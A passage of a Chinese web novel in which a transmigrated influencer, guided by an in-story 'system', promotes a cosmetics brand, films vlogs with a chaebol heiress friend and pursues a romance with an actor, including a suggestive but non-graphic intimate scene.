听到这话，宋玉妍忍不住撇过头去，盯着他线条利落的侧脸，像是米开朗琪罗亲手雕刻出来的石膏。 「他什么时候好感度满的？」 「结束四周的基础军事训练，在他妈妈的车上时。」 这样啊……她垂着眸遮掩住眼底深处的情绪，努力地闭了一下，像是要把它压到更深处。 「不过宿主，你的感情波动值在这个世界最大，你对李正宰、孔浏的好感度是35、郑宇盛55、李株赫现在60。不对刚刚升到62了。」 「闭嘴。」 就算是意识交流，情绪里也透着一股恼羞成怒的意味。 「你下个世界的任天堂游戏没有了。」 系统：…… —— 看着「线条小狗」IP联名的授权书，宋玉妍满意地勾了勾嘴角。崔宝祯还贴心地根据cilo的新品，给出了设计初稿。 在IP联名还没有大行其道的17年，cilo品牌算是走在了最前端的。尤其是宋玉妍还花了大价钱，给代言人gfriend拍摄了魔法少女的宣传mv。 穿着马克龙蛋糕裙的少女们，去往“童话世界”看望线条小狗和它的好朋狗。这支宣传片一经推出，在油管的播放量两天突破了千万。 宋玉妍在自己的账号也放出了，作为幕后策划，她所付出的艰辛不为人知。至于和公司扯皮宣传费和经费的过程，她倒是没有放到vlog里。 gfriend的粉丝也特别满意，觉得自家爱豆们应该和宋玉妍合作。至少她的审美是在线的，手里还有资源。 「特别感谢玉妍欧尼，wuli银河在接受采访之后，我才知道是她一力推举了gfriend作为品牌代言人。」 「是的，而且魔法少女这个题材特别好，这个欧尼的审美完全是天使级别的。」 「虽然但是，sourcemusic出来挨骂，专业的制作人还赶不上人家业余的。17年一整年的转型几乎都是在瞎搞，不如你们花钱把宋玉妍请过来。」 …… 看到网上的舆论，sourcemusic的高层也是愁眉不展。他们本来就是一个小公司，制作人资源储备也赶不上三大。gfriend的爆火，本来就是偶然，后续的好歌也是瞎猫碰上死耗子。 16年爆火的红利，被两次失败的回归用完了。他们公司的经营重新入不敷出，现在只有两条路。 要么把公司打包卖了变成大公司旗下厂牌，要么就是听网友的，放手一搏。 “社长nim，你冷静一点，宋玉妍就是个网红，懂什么爱豆运营？” “人家这次一个广告宣传片，就完成了公司制作人一年都不能完成的转型任务。你起一个ins账号，随随便便400万粉看看？”这是赞同宋玉妍的投资人所说。 “她能运营好自己的账号，并不意味着她能负责团体的任务。” “至少她的市场嗅觉还是有的，gfriend的已经是我们公司最赚钱的女团，重新再制作一个团时间来不及、耗费也又太大。如果再不做出改变，所有的市场都会被twice、blackpink、mamamoo瓜分殆尽。” 苏社长：“都别吵了。” 第115章 第一百一十五章 “那就让她来负责视觉这一方面吧，至少宋玉妍的审美还是很不错的，既然gfriend已经转型，那就朝着魔法少女这个方向继续制作吧！” 他一边把烟蒂摁在烟灰缸里，一边拍板做下了决定。 有些股东还想说什么，但是看到苏城镇不耐烦的眼神，还是按耐住说话的冲动。 「线条小狗」这个IP和cilo的联名大获成功，第四季度的财报出来了，这一个季度的纯利润是30亿韩元。 按照这样的势头发展下去，宋玉妍赢下对赌协议，几乎是板上钉钉的事情。 公司的职业经理人发来道贺的消息：「不愧是做什么都能做好的宋玉妍xi，提前恭喜您了！」 「我不喜欢半场开香槟，不过还是感谢您的祝贺。」 她回复完邮件之后，把视线定格在了海的那边，那里本土的美妆品牌还处于刚刚发芽的阶段。 无论是品质还是包装都和cilo有一定差距，这个市场……还可以继续挖掘潜力。 蹦出来一个红点，她点开一看，是sourcemusic发来担任视觉策划的邀请。宋玉妍粗略看了看条件，用几个词概括就是：钱少、事多、经费不足。 她几乎是一口回绝了，能把一个爆火女团的第三年运营到哑火，就说明这个公司一定有“高人”在。有些领导毫无市场嗅觉，但最爱指手画脚，这样的情况在小公司里尤其严重。 “她居然拒绝了？” 看到回复的公关部长有些吃惊。要知道就算不是主制作人，但在娱乐圈里的地位也不是网红能比的，制作人的身份能给她加层光环。 宋玉妍拉开自己家的窗帘，看着窗外的春光，混合着泥土味道湿润的气息从窗缝里透进来。经历过收获的秋季、沉闷的冬季，风和日丽的春日显得格外珍贵。 她推开窗，深吸了一口纯净的空气，新发出来的芽在阳光下熠熠生辉。拿起手机主动给崔宝祯拨了过去，一声短促的铃声响过，对方就秒接了起来。 “宋玉妍xi？” “内，是我。” 确定好拨号人之后，崔宝祯的语气一松。 “我还以为你是真的打算和我绝交呢！怎么样那个包还喜欢吗？” “还不错，怎么会呢！我们可是差一点就能成为同年的亲故呀！” 就算对方看不到，宋玉妍的脸上也不自觉地浮现起温柔的假笑。 “我那段时间是真的有些忙，故意不帮你的。你也知道我的家庭很复杂，就算是拥有了大量的财富也会有很多不得已。” “我知道的。我最近也是才忙完，万万没有和你赌气的意思，而是真的才空下来。” 嘴上虽然这样说，宋玉妍内心当然不会把这样的话给当真。财阀就算有再多不得已，他们的财富也足以无病呻吟。至于普通人…… 两人都用上自己最温柔亲和的声音和对方寒暄，你来我往间好像是从未有过间隙的好友。 不想再继续兜圈子了，崔宝祯直接开门见山。“宋玉妍xi我的爱豆课程和演技课都上完了，你看要不要开启拍摄vlog的计划。” 这段时间她是真的找不到，能够替代宋玉妍的ins 网红。要么就是头脑空空只会卖弄美貌的，要么就是风评太差，只会炫富和割韭菜的。 “没有问题，你是我的好朋友，我当然要帮你啦。”宋玉妍尾音上翘，透着一股假惺惺的甜蜜。 —— “今天视频的另外一位主人公，你们肯定猜不到是谁！” 宋玉妍一边把稳定器放在洗漱台上，擦完脸上的水珠之后，一边指了指视频的标题——《和财阀闺蜜的一天》。 进来被开头吸引来的网友纷纷开始猜测。 「财阀？谁啊！三星家的公主太小了，现代家也没有什么消息！」 「而且按照宋姐的性格，应该是比较有名气家族的，排不进南韩前十的企业可以划掉了。」 「对，而且可以只猜直系，旁系不管是话题还是话语权都不够。」 「笑死，你们真的以为和财阀做闺蜜那么容易吗？能是一个中型企业的女儿都不错了。」 …… 等她洗完脸，十分钟化了一个快速妆之后，门铃恰好响起来了。 宋玉妍拿着稳定器，慢慢悠悠地去开门。一打开门，镜头里就浮现出崔宝祯清丽的面容。脸上挂着温温柔柔的笑容，这种最受韩国人喜欢的长相，很容易让人一眼心生好感。 后期制作给她加上了身份——sk集团崔会长的三女、前总统卢白马的外孙女、母亲是知名教授。一层一层的头衔，像是加注在她身上的光环。 看着她手里拿着的果篮，宋玉妍眼睛里划过一抹嫌弃。 “你提着这个，像是来看望病人一样。” 崔宝祯不好意思地垂着头，“哪有什么办法？你又不让我送你爱马仕，奢侈品也不喜欢。也就送送水果会收了。” 「这是什么发言？宋玉妍你不想要爱马仕，我想要，去哪找崔宝祯这样的闺蜜！」 「这两位……看起来不太像是做戏，宋玉妍眼里的嫌弃确实是很真实。」 「还是觉得有些神奇，这两位是怎么凑到一块去的？」 “今天的主题是，我们互相体验对方生活的一天！”宋玉妍抱着胸，戴上了她之前送的那块劳力士，超绝不经意地抬手看了一眼。 “九点半，这个时间点我一直都是先做个简餐。” 崔宝祯看着被塞在手里的锅铲，还有些不可思议，看向她的眼睛里满是震惊。 不是，你来真的啊，真让人做饭？！ “你别看我，只是煎个鸡蛋而已，很简单的。吐司放在早餐机里热一下，然后泡杯牛奶就好了。” 听起来很简单，崔宝祯顺着宋玉妍的指导，小心翼翼地往锅里打了两个煎蛋。又严格地放了“少许”、“适量”的盐，翻面之后等着蛋液凝固，手忙脚乱地接过白瓷盘装了菜品。 看着盘子里金黄色的煎蛋，她舒了口气，用纸巾擦拭了额间的细汗。 “没有我想象中的那么难！”煎蛋搞定之后，泡牛奶和烤吐司也就更加容易。 「有点好笑，崔宝祯的那个眼神像是：我真的要做这个吗？」 「可能这是大小姐吃的最大的苦头了吧！」 「餐桌上宋玉妍还一个劲的在说，这个溏心蛋不好吃，给人崔宝祯都整红温了，拿叉子的手都用力到指尖发白。」 「我第一次觉得欧尼真没有眼色，估计人家爸妈都没有这样的待遇。」 「不过还是好嗑的，浅嗑一口。年上温柔财阀欧尼×年下美艳网红！」 早饭完了之后，宋玉妍就特意把cilo的宣传图放在今天拍摄，送上门的流量不蹭白不蹭。 而崔宝祯拿着美妆产品，摆出各种姿势笑得脸都要僵了。只能在心底默念：都是为了竞选、都是为了竞选！ 宋玉妍看着成品，还想把腮红拿过了拍摄推广图。被忍无可忍的崔宝祯制止了，“你够了，我饿了！” “好吧，我这不是看你的气质好嘛！把我们一个开架品牌拍出了奢侈品的感觉。” “如果没有你，今天的工作都不知道该怎么办好了，完全没有灵感。” “出来的效果图真的很完美！哪个女人不想要一支你手上的口红呢？” 在她一句又一句甜言蜜语的攻势下，崔宝祯迷迷糊糊地把所有的产品都给拍了个遍。回过神来，已经过去了五个小时。 「说实话，崔宝祯和我印象里的财阀完全不一样，我以为财阀都像韩进那一家子那么癫。」 「确是，这位看起来……意外的傻白甜。」 等宋玉妍带人去一家宝藏的炒年糕店吃饭，从嫌弃到真香，崔宝祯只用了五分钟。 “崔宝祯xi，你应该不是玻璃胃吧！不然吃完这顿，可能要让医生好好给你看看。” “宋玉妍xi，你的嘴巴如果只用来吃饭该多好？” 说完，她又毫不客气地挖了满满一勺年糕，优雅地大快朵颐。 在华克山庄住久了，助理会帮忙管着她，这也不能吃、那也不让吃。明明在北京的时侯，和她一起吃烤鸭吃的最开心的就是她。 吃完这顿比较迟的中午饭，宋玉妍的日常生活也就体验完了。 下午是崔宝祯带着她去练琴、慈善活动、看歌剧，回到华克山庄已经是十点多了，崔宝祯请的瑜伽老师**。 “今天太累了，练瑜伽就算了吧！”宋玉妍现在只想洗漱，然后躺在床上安静地休息。 “不可以，既然是互换生活，那就所有的步调都要一致。”崔宝祯把人推到会客厅，三张铺好的瑜伽垫在地板上。 一个又一个高难度姿势简直是在为难宋玉妍的身体，她几乎是咬着后槽牙，强撑着做下来的。关节发出“咔咔”的响声、韧带完全不属于她了。 崔宝祯像是还游刃有余，“你不是之前还翻跳过舞蹈吗？” “那些对于身体的柔软度要求没有这么高。”这句话几乎是从她牙缝里蹦出来的。 第116章 第一百一十六章 瑜伽练完之后，崔宝祯把宋玉妍带去另外一个洗浴间。拿出她早就准备好的洗漱包，里面装着的都是大牌未开封的沐浴品和护肤品。 宋玉妍接过一看，“我带的还是没有你准备的全。” “其实我也可以和你共用，但是怕你不习惯，就按我常用的，给你也配了一份。” 崔宝祯把准备好的闺蜜装睡衣拿了出来，意大利知名品牌，墨绿色真丝材质，很适合她。 等洗漱完换完睡衣出来，宋玉妍才发现自己和她身上的是同款，只是颜色不一样罢了。 一个米白色清丽温柔，一个墨绿色柔美妩媚，美从来就不需要比较。 两人素颜敷完面膜之后，躺在了同一张床上。像是普通闺蜜那样，说着夜话。 “宋玉妍xi，其实我很感激你，如果不是你的话，可能刚回国的我还找不准人生的方向。”崔宝祯说出的这个话时，是真心的，但是只有一半。 因为床头柜上的镜头，这一天的录制，她时时刻刻把人设牢记在心底。展露出来的性格，七分做戏，三分真实，这样看起来更加完美。 听到这话的宋玉妍翻 过身体，整个人趴在柔软的真丝床品上。她蹭了蹭被丝绸包裹的柔软羽绒枕。 “其实我也是，从你身上学到了很多很好的品质。包括你对我的一些帮助，还有……看到了不一样的世界。” 好像寂静的夜色让两人都敞开了心扉。 在昏暗暖黄的床头灯下，两人都大致地交流了对未来的规划。提到了事业、生活，约定要一起旅行，唯独没有感情方面。 有些熬夜的躺在床上看视频的网友，正是处于深夜情感丰沛的时候。纷纷在下面留言。 「这种氛围太好了吧，完全就是正常闺蜜的相处模式。」 「宋玉妍和崔宝祯之间，我完全没有看到阶级的划分，只有最寻常也最美好的友情。」 「是啊是啊，如果是演，崔宝祯不可能注意到这么多细节的。两人一起敷面膜和穿同款，不是真的关系好的话，每一个女生都会介意这件事吧。」 「朋友是自己选择的亲密关系，看到她们两个我也想我闺蜜了！」 …… 看到这一期拍摄的差不多了，宋玉妍关了镜头，掀开被子，下了床。她顺手抱起一个枕头，这个真的枕起来很舒服，准备去客房睡。 身后的崔宝祯看着她纤细的身影，心情很复杂。多次想要开口，但匮乏的韩语词汇不足以概括她的心情。 等宋玉妍的手放在金铜色的把手上，她终于开了口。 “宋玉妍xi，我有些……抱歉，那段时间我也不是特别忙。没有帮助你也是因为，”说到这里，她为难地咬了咬嘴唇。 在不算亮的环境里，留下啮咬的痕迹，显得格外艳红。 宋玉妍一直没有转身，也一直没有压下门把手。她就静静地站在那里，像是一个雕像。 她当然知道对方说的是什么事情。 “可能我习惯了那种模式的关系吧！”什么都已利益为主导，当有人伤害到崔宝祯本身的利益时，那关系也就会成为牺牲品。 也许是这一天的相处，更加降低了她的心理防备。她也想开始敞露一点点真实的想法。 “肯恰那，我对你的感情也不全然纯稚。”宋玉妍也坦诚说出了她的想法：“如果你不是sk集团家的女儿，我也不会和你成为好朋友。” 向上社交本来就是一方提供情绪价值和拿得出手的技能，用来交换对方手里的利益。 崔宝祯惊讶于她的直率，稍稍有些难受。但是不得不说，这样的情感更加让她能够接受，在心底舒了一口气。 看到宋玉妍把门拉开，她犹豫了半响还是开口道：“以后有事情，你来找我，我……尽量帮忙。” 听到这话的人，没有给一个确定的答复，只是回了句。 “谢谢。” 拉着门把手的手微微颤抖，关上时身体也跟着不自觉地发抖。 宋玉妍听到了“咔嚓”的落锁声，这扇门关紧，把两人划分在两个不同的空间。这让她怅然若失，终于没有办法再自欺欺人下去。心里像是堵了一块巨大的石头，又像是塞满了棉花。 胸闷、闷地有些难以呼吸。 她躺在床上，想要把脸埋进带来的枕头里，以此来增加困意，逃避现实但有些无济于事。 在床上翻来翻去睡不着，干脆抬起头，看着手机一段段和崔宝祯一起录制的素材，一点点删除废弃的。 「系统，你说这个虚假的世界里感情都是虚假的吗？」 这样的话让脑海里的意识体没有办法回答。 「虚假的世界里虚假的感情，到底什么是真实的？」 她只是开始怀疑，李株赫对她的感情，也是虚假的吗？也掺杂着利益吗？ 「宿主，对方的好感度是满的。」 这样的话像是激怒了宋玉妍，她抱着被子从床上翻坐了起来。 「你们衡量一个人的情绪只看数据吗？你凭什么觉得数据大，情感就浓？」 系统的CPU开始发烧，一直没有回答这个问题。 内心巨大的空虚没有东西可以缝补，手机的光亮映照着她憔悴的面容。 直到晨光熹微，从窗帘的缝隙里钻进来的光亮像是刺到了她的眼睛。宋玉妍往旁边微微一歪，避开了那一束光。 此时整个人的呼吸完全不属于她自己，一股莫名的恐慌如潮水一阵阵向她袭来。就算是控制住了其中一阵浪花，其他的也会接踵而至。 终于，她打开了快要电量耗尽的手机，拨出了那一串号码。因为时间太早了，对面的人迟迟没有接起。 听着默认的轻快铃声，宋玉妍也分不清内心的想法。既想要对方接起来，又希望对方不要接。矛盾的心理，让她没有将电量只剩下百分之三的手机连上充电器。 看着电量慢慢跳到百分之二、百分之一，她的心脏也随着快速擂动。熬夜带来的气血上涌让她头晕目眩，几乎要晕厥过去。 “yeoboseyo” 宋玉妍没有主动开口，通过电流只留下浅浅的呼吸声。 手机发出30秒的关机倒计时，她还是不知道该如何开口。 李株赫察觉到不对，看了一眼手机屏幕，确认来电联系人之后，再次开口。 “你怎么了？是有些失眠吗？” 宋玉妍的生物钟，绝不会让她早起。 她像是有很多很多话想说，最后只汇成一句。“今天见一面吧！” “内……” 话音没有完全落下时，耗尽最后一点电量的手机自动把电话挂了。 宋玉妍迫不及待地想要回去，想要见到李株赫，想要触碰他温热的肌肤。 也许他才是这个虚幻世界里唯一真实的存在。被攻略者，多少都会有些不一样的不是吗？ 等到手机电量，足够支撑她到家后，宋玉妍迫不及待地离开了。 黄色的计程车几乎是在柏油路上驰骋，但她还是觉得太慢了。恨不得把首尔市所有的红绿灯都给拆掉，拐弯处都给抹平。 悬浮的电梯带来的滞空感让人并不好受。在下电梯时，她扶着门框，深吸了一口气，让提起来的心脏压下去一些。 看到站在她家门口，那道颀长笔直又熟悉的身影。宋玉妍快步走了过去，快速漂浮的脚步几乎让她崴脚。 李株赫看到她高跟鞋失去平衡般地往外一撇，心脏几乎要提到嗓子眼了。连忙迈着步子，张开手臂，把扑过来的人揽进怀里。 “你这是怎么了？” 宋玉妍的手从他风衣的衣摆里穿了进去，紧紧贴在他精瘦的腰上。感受这他温热的气息，听着他跳动着的心跳。 从灵魂深处发出一声喟叹，心脏好像也安定了下来。 她惦起脚，迫不及待地贴上李株赫的嘴唇，手上的力气也加大了一些。好像只有这样，才能感受到他真实存在。 看着她直接撞上自己的鼻尖，李株赫原本偏圆的圆眼瞪得更大，把微窄的双眼皮挤没了。感受到宋玉妍急切不安的心情，他反应过来之后，安抚性地顺了顺她的头发。 唇上柔软的厮磨更像是一种宣泄。等她情绪稍微安定下来，李株赫不带情欲地亲了亲她，手掌从背顺着脊梁抚到腰。 “怎么了？” 对上他清冽的眼眸，宋玉妍内心并不好受，就像是饮鸩止渴一样。只有他的触碰，才能带给她唯一的真实感。 她摇了摇头，开门之后进去，像是有着皮肤饥渴症，又环住了李株赫贴了上去。 宋玉妍忽然有些害怕，她在想对方对她的喜爱，会不会也是因为某种利益呢？当她在利用别人的时候，别人又想着从她身上攫取什么呢？ 她像是一团柔软的云，枕在他的身上。原本以为对她已经足够了解的李株赫，有些摸不着头脑。 下一秒，宋玉妍颤抖着手开始解开他衬衫上的风纪扣。 看到男人没有动作，只是无奈又宠溺地看着她时。她的手指不断地向下，一颗又一颗…… 滑到了腹肌地方时，她把被早春清寒的晨风吹得冰冷的手背贴了上去。 原本软弹的肌肉，一瞬间被刺激地开始发硬。 原本安之若素支着脑袋，看她闹的李株赫有些绷不住了，耳根发红地把衣领，拢了起来。 等宋玉妍的手继续向下，勾住他的金属扣时。 “停手。”刚睡醒的声音带着一股慵懒的磁性，但毫无威慑力。 宋玉妍由下至上地抬起眼眸，看起来有种莫名的勾人意味，上扬的眼睛里满是故作无辜。 “欧巴，我们makelove吧。” 第117章 第一百一十七章 窗外的晨光慢慢清晰，一缕一缕柔和光线的光线争先恐后地钻了进来。带着清寒的晨风摇动着轻薄的窗纱。 听着她这样的话，沙发上的李株赫眼底闪过一丝失望，然后是恼怒，抓着她手的力道不断加大。 “宋玉妍xi，这样的话是什么意思？” 因为愤怒，他的语调不自觉地加重、 加高，耳尖上的浅红也变成了艳红色。 眼眸里生生抑制着的愠怒就像是被火山灰掩埋着的熔岩，听起来相对克制的、平静的语气几乎花光了他所有的力气。 从没有关上的窗户里吹进来的风，把窗纱摇动的更加剧烈，窗框上闪着危险的光亮，灰色沙发的边缘镶着一圈冷光。 宋玉妍像是毫无察觉他的情绪，依旧靠着他。这个姿势有些暧昧而危险，她的碎发时不时地轻戳在皮肤上，无规律地一下又一下，像是要戳在他的心脏上。 “我想感受你，你的身体、你的肌肤和你的进入。” 如同情人之间的呢喃，让李株赫的呼吸一滞，随后不自觉地开始粗重了起来。 意识到呼吸的声音太过浓重之后，他有意识地开始控制自己的节奏。平时灵活的手指像是和他在唱反调，最上方的风纪扣，试了很多次，还是没有合上。 他看着颤抖的衣摆，无力地抬起头看向天花板，最后单手握上了宋玉妍的侧腰，他不敢贴的太实。 “有些事情只有结婚才能做。” “是吗？” 她的下巴像是严丝合缝地印在皮肤的缝隙中，嘴唇一张一翕间不断地触碰到肌肤。手臂放在腰的两侧，看向他时眼里是欲说还休的姿态。眼底被水润涤过的黑亮眼眸和眼尾的薄红，是最极致对比的颜色。 “可是你的兵役结束还有一年多。”裹了蜜糖的毒药，外表看上去十分动人，像是要蛊惑人把它吞进去。 李株赫像是受到了蛊惑一般，他的大拇指忍不住印在她的眼尾，先是轻轻地感受着手指被触碰时，指尖轻微的抖动。然后像是控制不住力道一般，第一个指节不断不断加重，把薄红揉成了荼靡的烂红色。 宋玉妍整个人得寸进尺，整个人跨坐在他的身上，脸依旧贴在他温热的肌肤上。 只不过从腹肌换到了胸膛，裸露在空气里身体，让人受到的刺激更重，心脏悸动的频率更快了。 脆弱的脖颈上，脆弱的喉结像是他的弱点，她伸手轻轻摩擦着。酥麻的过电感，顺着神经传到他身体的各端。 听着他从胸腔传来，低沉磁性的暧昧喘声，这让宋玉妍脸上浮现出势在必得的表情。 她再加一把火，低声道：“欧巴，我不想等那么久。” 缱绻娇媚的声音，透着股不达目的不罢休的意味。 李株赫把她的手握住，按在沙发上，仰着头靠在沙发靠垫上。闭着的眼睛不知道在想什么，只有垂着的睫毛微微颤抖着。 这都不上套？宋玉妍简直想要用力地摇开他的脑袋，然后质问他是不是不行。 她泄愤似地在李株赫的喉结上轻咬了一口。 他随之深抽了一口气，然后喉结不自觉地滚动着。 两人的位置瞬间对掉，宋玉妍只觉得一秒晕眩晃动，她就被压在了沙发上。 粗粝的沙发布磨地她细腻的大腿肌肤有些泛红，随后亲吻如同疾风暴雨一般袭来。雪松、香根草、木苔藓的味道把她包裹住，清爽的木质香和初春的清晨很适配。 等他换气的空隙，宋玉妍捏了捏他嘴角两侧的腮肉，附在他耳边说了些什么。 李株赫微微皱起了眉头，艳红色从耳垂蔓延到耳廓，额间上冒出细碎的汗珠。对上宋玉妍又蛊又媚的眼眸，深吸了一口气做了好了心里建设后，还是照做。 手上的动作虽然颤抖的剧烈又局促，但是没有停下。 风吹进来的呜咽声一阵阵，像是冰晶破裂之后，细碎地溅在窗框上。 等李株赫从洗手间洗完手出来，随手抽上几张纸巾擦拭手上的水珠，发现她的视线定格在指尖。他掀起来了眼眸，嘴角轻勾，带着一派无辜感，歪着脑袋看着宋玉妍。 她立刻把视线挪开了，脸上未完全平复的情潮，像是带着酡红的醉意。 还是那句话，男人都是天生的忠武路演员。明明一开始拒绝的时侯，装的是一派君子端方。 —— 随着和崔宝祯的「闺蜜系列大火」，普通的网民因为窥探了一丝财阀的日常生活，而产生了强大的满足感。 宋玉妍的同行则是从中获取到了灵感，一时间youtube上的视频都是这个类型。 对此她倒是没有什么危机感，毕竟有一句话说的特别好。“学我者生，似我者死。” 随着粉丝的暴涨，宋玉妍看着自己的ins距离500万粉丝数越来越近，心底弥漫上的恐慌情绪远远大于期待。 等到495万时，她甚至有点害怕任务的成功，到时候她应该如何抉择？ 「宿主，你其实是可以选择在每个世界终老的。」被克扣了游戏的系统上线，宽慰着她。 「这样付出的代价我不愿意承受。」 宋玉妍苦笑了一声，倒不是系统耗费的能量问题，而是她怕陷在虚拟的世界。要是每一个世界都因为不舍而停留，那她也会选择成为任务者。 「算了。」 《蛇女》最后还是卖给了网飞，tvn到底还是没有激进到那种程度。不管是纯恶女的女主，还是含沙射影般地扫射sk当家掌门人的题材，都不足以让无线台的高层对它拒之门外。 这样新颖的现实题材一上线就取得了收视成功，帮网飞打进了本土的影视市场。 包下整个华克山庄庆祝的崔宝祯，在看到举着香槟在窗边独自喝闷酒的宋玉妍，快步走了过去。 “李株赫xi今天不是也来了吗？你怎么不和他在一起？” 因为是不公开的酒会，安保严格，所以他来的话影响不大。 粉丝数到了500万的宋玉妍，这段时间一直在犹豫什么时候离开，有些不知道该怎么面对他。一时间脸上浮现出闷闷不乐。 “有些不知道该怎么和他相处。”两人在一起的时光当然是快乐的、轻松的，但是一旦分开一种空虚、恐慌感又向她卷来。 这让宋玉妍有种，快乐的光阴都是偷来的，她不应该沉溺其中的感觉。 “在南韩的男人里，他算得上很不错了。无论是相貌、家世、性格、长相还是对女人的尊重。”崔宝祯实事求是地说道。 不是很想继续这个话题的宋玉妍，开启了另一个话题。 “《蛇女》的同时段收视率可是达到了百分之二十，恭喜恭喜啊，崔宝祯xi。等下周更新的时侯，你就可以把这把火烧到汉南洞夫人身上。” 网飞的剧都是要付费的，能够拉动这么高的收视率，含金量比免费台的高多了。不知不觉中，她也成为资本扩张的凶手了。 想到后续南韩劣币驱逐良币的影视生态，宋玉妍揉了揉额头，脸上浮现出一丝苦笑。 “是啊！”崔宝祯舒出一口气。 “我永远也忘不了我毕业那天，我偶妈出席典礼。她也厚着脸皮蹭着崔会长一起来，最后的照片的居然有她。”说到这里，她的眼睛里闪过深深的憎恶。 明明她偶妈都已经那么避让了，要么是在种花生活，来韩国也只住在华克山庄。但是那位还是一直上蹿下跳、咄咄逼人。 “现在也算是一种复仇了吧。”宋玉妍主动和她碰了一下杯，心底哑然。 做小三做到这种鱼死网破的份上，也是只此一家。那位只能奢求原配这一家永远不能掌权，不然…… 两人的香槟杯发出清脆的碰撞声，升腾的气泡就像是明媚的未来。 崔宝祯像是有些醉了，说起话来也无所顾忌。 “那些看视频的人也是好笑，真以为财阀都像是我表现出来的那个样子，我吃几块鱼饼，他们就觉得我能和他们站在一起了。” 她嗤笑了一声，“怎么可能呢，要不是为了他们手里的选票，我才不会大费周章地在镜头前装模作样。” 听到这话的宋玉妍皱了皱眉，把她扶到人更少的地方。“你先不要说话，这里人太多了。” 摇摇晃晃跟着她走，最后瘫在休息室沙发上的崔宝祯完全没有仪态可言，拍拍她的肩膀。 “你和他们都不一样，一直知道自己想要什么，不要被绊住脚跟呀。”说完她打了个酒嗝。 虽然醉了，崔宝祯内心的谋划一点都不少。她准备竞选的时侯，把宋玉妍和李株赫拉过来，帮忙一起拉选票。 在南韩，不管是艺人还是网红，都不可能完全和政治圈切割。 “宋玉妍xi，我一定会让你当上我的竞选本部长的，那群男人简直就是一群废物。除了规训我，妄图拿捏我之外，什么都做不好。” 说完崔宝祯不顾衣裙上的褶皱，昏睡过去，宋玉妍把昂贵柔软的毛毯给她披上。站在落地窗边思考了一夜，闪烁的路灯照在她的脸上，明明灭灭，更像是她摇摆的内心。 崔宝祯的话和李株赫的脸，一时间都压在她的脑海里。 宋玉妍：「系统，送我离开这个世界吧。」 「宿主，你不和李株赫道个别吗？他就在隔壁的休息室里。」 算了吧，她怕……会舍不得。 此时晨光正好裹着雨雾，呈现出润泽的乳白色。雨珠像是一道道细细的水帘，顺着窗户留下水痕。 第118章 第一百一十八章番外 2019年mama红毯 宋玉妍小心翼翼地提着裙摆，接过签字水笔，行云流水般地在面板的中心区域签下了自己的名字。 她签名的第一笔，恰好连在李株赫签名的最后一笔。把笔还给礼仪小姐之后，宋玉妍提着裙摆，仪态万千地离开了。 裙据摇曳在红毯中，在紫色细纱的摆动下，雪色肌肤若隐若现，犹如一束垂落着的紫藤花。 当她消失在转角时，让媒体区，没有拍摄到图片的摄影有些怅然若失。这样的着装，可比清一色的黑白灰有看头多了。 「不是？宋玉妍不是网红吗？为什么mama的红毯直播，她也能走？」 「你仔细看看签名的那个面板上，最大的logo是不是cilo。人家是品牌赞助商，只是想走个红毯怎么了？」 「就算她想要个舞台，亲自唱跳，mama的主办方也会尽力地满足她的需求。」 「她这可以算得上是跨越阶层了吧！」 「当然了，宋玉妍Instagram的粉丝转化比是最高的。换句话说，是所有韩国网红里，粉丝黏性最高、最舍得花钱，堪比男团的top成员了。」 「何止，现在妥妥富豪阶层吧，光是披露出来的就有cilo公司百分之二十的股份，sourcemusic百分之十的股份。」 「小道消息说今年mama是不打算邀请小女友了，但硬是被宋玉妍砸赞助费给砸下来了。」 …… 宋玉妍自然没有看到弹幕上的评论，而是直接去待机室找李株赫了。她入场的顺序比较晚，两位主持人快要上台，还在一边做最后的造型整理，一边对开幕词。 看到她进来了，李株赫微微侧脸看过来，然后又被cody把脑袋掰正，拿着定型的摩丝往他的碎发上补喷。 “呀，这么帅气的男人是wuli恰给呀。” 因为是韩语，知道另外一位种花的女主持听不懂。但是他的工作人员大多数都是韩国的，李株赫的耳尖瞬间烧了上去。 宋玉妍还想着伸手过来，蹭蹭他的耳尖，但是被误以为她要碰脸的cody给制止了。 “马上就要上台了，脸上的粉底不好补。” 听到这，她才悻悻地放下双手，耸了耸肩，脖子上品牌方赞助的珍珠随着一颤一颤。 “好吧！” “你要吃一点奶油饼干垫垫肚子吗？”李株赫想转移她的注意。 虽然是未公开的情侣，但在人来人往的待机室里亲密，他还是会有心理负担。 宋玉妍指了指自己肚子，“算了，已经饿一整天了。现在填饱了，到时候镜头拍到小肚子，就不好看了。” 看着她微微陷下去的小腹，他陷入了沉思，看来对于形象管理这方面，还是卷不过女艺人。 “那给你一点糖，不然到时候五个小时你不一定能撑得住。” 李株赫让助理把香橙口味的糖果分她一半，看到种花女艺人有些尴尬地在旁边调整着睫毛。他毫不犹豫地把自己的那一半，分了一部分过去。 听着他的韩语，女艺人眼底闪过一丝迷茫。这个时候翻译恰好不在，语言的隔阂横在两人中间。 宋玉妍才发现，两位主持人是共用一个待机室的。转过头帮忙翻译道：“他问你要不要含一点点糖果，不然后面会低血糖。” 女主持道谢之后收下了这份好意。她看了两眼宋玉妍的妆容，温婉大气，散粉扑的足足的，和韩式的水光肌完全不一样。 她忍了又忍，还是没有忍住，“你也是种花人吗？中文说的很棒。” 她只以为宋玉妍是不出名的小艺人。毕竟没有丝毫口音的中文，对于平翘舌不分的韩国人来说，难度超标了。 听到对方的夸赞，宋玉妍就算再波澜不惊，此刻也忍不住脸红。 “不是，我是韩国人，中文……是自学的。”天生母语者怎么不算是自学呢？ 心安理得地接受对方的夸赞，她提议大家一起拍个合照。 李株赫听到女友的提议后，站起来整理好西服上的扣子。 他当仁不让地站在最右边，主动举起手机，宋玉妍和她推拒了好几次，最后还是站在最中间。 连拍了很多张，最后选了一张三个人都很满意的。 宋玉妍不继续打扰他们了，自己跟着礼仪的指引落座。离开场还有一段时间，她手指漫不经心地在手机上滑动着。 刚刚的照片虽然还不错，但是女人对于自己的外貌总是挑剔的。她把自己稍显杂乱的睫毛，一点一点地整理干净，顺手把左边那位的腮红调整一下。 然后把照片毫不犹豫地po到了ins上。 「这个速度，比大站的站姐出图还要快。三个人的脸丝毫不需要修图呢，kkk。」 「漂亮的脸蛋旁边还是漂亮的脸蛋，这张图片对我的眼睛很友好。」 「两位女神的美貌像是钻石一样闪着光，不过李株赫的下颌为什么有点歪。」 「感觉像是宋玉妍在调整的时候，有些不管自家男友的死活了。」 「网红能不来蹭吗？他们两个在一起了？李株赫亲口告诉你的？」 「虽然欧巴是演员，但是他300多万的粉丝数，确实是只有宋玉妍的二分之一。不明白到底谁蹭谁呀。」 